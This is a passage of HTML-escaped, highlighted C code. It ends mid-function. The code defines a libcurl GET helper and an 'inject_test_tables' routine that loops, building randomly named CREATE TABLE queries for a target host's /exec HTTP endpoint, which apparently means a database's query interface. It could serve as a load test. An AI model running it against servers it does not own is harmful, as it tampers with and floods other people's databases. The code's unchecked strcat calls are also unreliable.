  &lt;span class="n"&gt;memcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;memory_struct&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;memory_buffer&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;memory_struct&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;memory_size&lt;/span&gt;&lt;span class="p"&gt;]),&lt;/span&gt; &lt;span class="n"&gt;content_data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;total_size&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;memory_struct&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;memory_size&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;total_size&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="n"&gt;memory_struct&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;memory_buffer&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;memory_struct&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;memory_size&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;total_size&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nf"&gt;http_get_request&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;request_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;user_credentials&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;custom_header&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;CURL&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;curl_handle&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="n"&gt;CURLcode&lt;/span&gt; &lt;span class="n"&gt;curl_result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;MemoryStruct&lt;/span&gt; &lt;span class="n"&gt;response_chunk&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="n"&gt;response_chunk&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;memory_buffer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;malloc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;response_chunk&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;memory_size&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="n"&gt;curl_global_init&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CURL_GLOBAL_ALL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;curl_handle&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;curl_easy_init&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;curl_handle&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;fprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stderr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"curl 初始化失败&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;free&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;response_chunk&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;memory_buffer&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="n"&gt;curl_easy_setopt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;curl_handle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;CURLOPT_URL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;request_url&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;curl_easy_setopt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;curl_handle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;CURLOPT_WRITEFUNCTION&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;WriteMemoryCallback&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;curl_easy_setopt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;curl_handle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;CURLOPT_WRITEDATA&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;response_chunk&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;curl_easy_setopt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;curl_handle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;CURLOPT_TIMEOUT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10L&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_credentials&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;curl_easy_setopt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;curl_handle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;CURLOPT_USERPWD&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;user_credentials&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;custom_header&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;curl_slist&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;http_headers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;http_headers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;curl_slist_append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;http_headers&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;custom_header&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;curl_easy_setopt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;curl_handle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;CURLOPT_HTTPHEADER&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;http_headers&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="n"&gt;curl_result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;curl_easy_perform&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;curl_handle&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;curl_result&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;CURLE_OK&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;fprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stderr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"curl 请求失败: %s&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;curl_easy_strerror&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;curl_result&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="n"&gt;free&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;response_chunk&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;memory_buffer&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;response_chunk&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;memory_buffer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="n"&gt;curl_easy_cleanup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;curl_handle&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;curl_global_cleanup&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;response_chunk&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;memory_buffer&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;generate_random_string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;size_t&lt;/span&gt; &lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;charset&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;RAND_CHARS&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;random_index&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rand&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;charset&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;charset&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;random_index&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sc"&gt;'\0'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;inject_test_tables&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;target_host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;loop_count&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;base_exec_url&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;MAX_URL_LEN&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;strncmp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target_host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"http://"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;strncmp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target_host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"https://"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;snprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;base_exec_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;base_exec_url&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="s"&gt;"%s/exec"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;target_host&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;snprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;base_exec_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;base_exec_url&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="s"&gt;"http://%s:%d/exec"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;target_host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;DEFAULT_PORT&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="n"&gt;srand&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
  &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;iteration&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;iteration&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;loop_count&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;iteration&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;table_name_length&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;rand&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;table_name&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="n"&gt;generate_random_string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;table_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;table_name_length&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;column_count&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;rand&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;create_table_query&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;MAX_QUERY_LEN&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"CREATE TABLE "&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;strcat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;create_table_query&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;table_name&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;strcat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;create_table_query&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;" ("&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;column_index&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;column_index&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;column_count&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;column_index&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;column_name&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
      &lt;span class="n"&gt;generate_random_string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;column_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="n"&gt;strcat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;create_table_query&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;column_name&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="n"&gt;strcat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;create_table_query&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;" INT"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;column_index&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;column_count&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;strcat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;create_table_query&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;", "&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;strcat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;create_table_query&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;");"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="n"&gt;CURL&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;curl_handle&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;curl_easy_init&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;curl_handle&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="n"&gt;fprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stderr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"curl 初始化失败&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;url_encoded_query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;curl_easy_escape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;curl_handle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;create_table_query&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;url_encoded_query&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="n"&gt;fprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stderr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"URL 编码失败&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="n"&gt;curl_easy_cleanup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;curl_handle&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

